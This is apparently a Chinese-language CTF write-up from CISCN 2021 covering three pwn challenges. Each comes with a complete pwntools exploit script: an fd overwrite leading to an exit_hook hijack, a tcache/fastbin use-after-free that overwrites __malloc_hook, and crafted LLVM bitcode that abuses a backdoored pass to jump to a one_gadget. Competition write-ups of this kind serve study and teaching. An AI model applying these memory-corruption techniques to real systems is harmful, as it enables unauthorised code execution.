ciscn 初赛 2021

write up

Posted by X1ng on May 16, 2021

只做了三个pwn,沙箱不会全丢给队友了,,最后的satool还来不及交

太菜了呜呜

附件pwn

附件SATool

pwny

可以从random读取字符覆盖bss上可控偏移的变量,覆盖fd后从无效的fd读取数据到保存fd的内存,会把fd覆盖为0,之后任意地址读写,泄露地址打exit_hook

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='pwny'
libc_name='libc.so.6'


libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('124.71.226.118',22157)



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla("Your choice:",str(num))

def read(idx):
    cho(1)
    sla("Index:",str(idx))

def write(idx):
    cho(2)
    sla("Index:",str(idx))


z('b*$rebase(0xC06)')
write(256)
write(256)
cho(1)
sa("Index:",'\xe7\xff\xff\xff\xff\xff\xff\xff')
ru("Result: ")
libcbase = int(ru("\n")[0:-1],16)-libc.sym['puts']
print(hex(libcbase))

cho(1)
sa("Index:",'\xf5\xff\xff\xff\xff\xff\xff\xff')
ru("Result: ")
elfbase = int(ru("\n")[0:-1],16)-0x202008
print(hex(elfbase))

one = [0x10a41c,0x4f432,0x4f3d5,0xe5617,0xe561e,0xe5622,0x10a428]
cho(2)
off = str((libcbase+0x61bf60-elfbase-0x202060)/8)[0:-2]
print(off)
sla("Index:",off)
sd(p64(libcbase+one[6]))
cho(3)

ia()

lonelywolf

只能保留一个堆块,uaf泄露出tcache中作为key的堆地址,fastbin attack将堆块分配到某个堆块的size上,将其修改为unsorted_bin大小,uaf泄露libc地址,之后就是常规打hook了

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='lonelywolf'
libc_name='libc.so.6'


libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('',)



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla("Your choice:",str(num))

def add(size):
    cho(1)
    sla("Index:",str(0))
    sla("Size:", str(size))

def edit(con):
    cho(2)
    sla("Index:",str(0))
    sla("Content: ", con)

def show():
    cho(3)
    sla("Index:",str(0))

def delete():
    cho(4)
    sla("Index:",str(0))

add(0x8)
delete()

edit('a'*8)
show()
ru("aaaaaaaa")
heap = leak_address()
print(hex(heap))


add(0x10)
delete()
edit(p64(heap+0x260)+p64(0x91))

add(0x10)
edit(p64(heap+0x260)+p64(0x511))

for i in range(0xa):
	add(0x78)
add(0x78)


add(0x8)
delete()
edit('a'*8)
show()

ru("aaaaaaaa")
libcbase = leak_address() - 0x3ebca0

print(hex(libcbase))
malloc_hook = libc.sym['__malloc_hook']
edit(p64(libcbase+0x3ebca0))
add(0x78)
delete()
edit(p64(libcbase+malloc_hook))
add(0x78)
add(0x78)

one = [0x4f3d5,0x4f432, 0x10a41c]
edit(p64(libcbase+one[2]))
cho(1)
sla("Index:",str(0))
sla("Size:", str(0))

ia()

satool

对llvm的了解仅限于知道他的名字。。

相关资料

cannot open shared object file: No such file or directory 解决方法

LLVM 入门教程之基本介绍

[红帽杯 2021] PWN – Writeup

调试环境

ubuntu 18.04

清华大学开源软件镜像站 llvm-project

看着赤道企鹅师傅红帽杯的wp做的,程序漏洞在SAPass.so的sub_19d0函数里

一边逆向一边调试,大致可以得到

  1. 主函数名要叫B4ckDo0r
  2. save函数需要2个参数,可以malloc(0x18)并放在qword_2040F8
  3. stealkey需要0个参数,可以将qword_2040F8中的数据存到unk_204100
  4. fakekey需要1个参数,可以让unk_204100中的数据加上函数参数,结果保存到qword_2040F8
  5. run需要0个参数,可以跳转到qword_2040F8中函数指针所指的地址

思路是将0x18大小的fastbin/tcache全部申请后最后一次申请unsorted_bin,让其残留的libc地址减掉偏移指向one_gadget,run跳转one_gadget

exp.c:

//./clang+llvm-12.0.0-x86_64-linux-gnu-ubuntu-16.04/bin/clang  -emit-llvm -c exp.c -o exp.bc

void save(int a, int b);
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r()
{
	save(0,0);
	save(0,0);
	save(0,0);
	save(0,0);
	save(0,0);
	save(0,0);
	save(0,0);
	stealkey();
	fakekey(0xffc63792);
	run();
}

quickstart.py:

from pwn import *
import sys
context.log_level='debug'

con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.bc","rb")

payload=f.read()

f.close()

payload2 = payload.encode("base64")
con.sendlineafter("bitcode: \n", payload2)

con.interactive()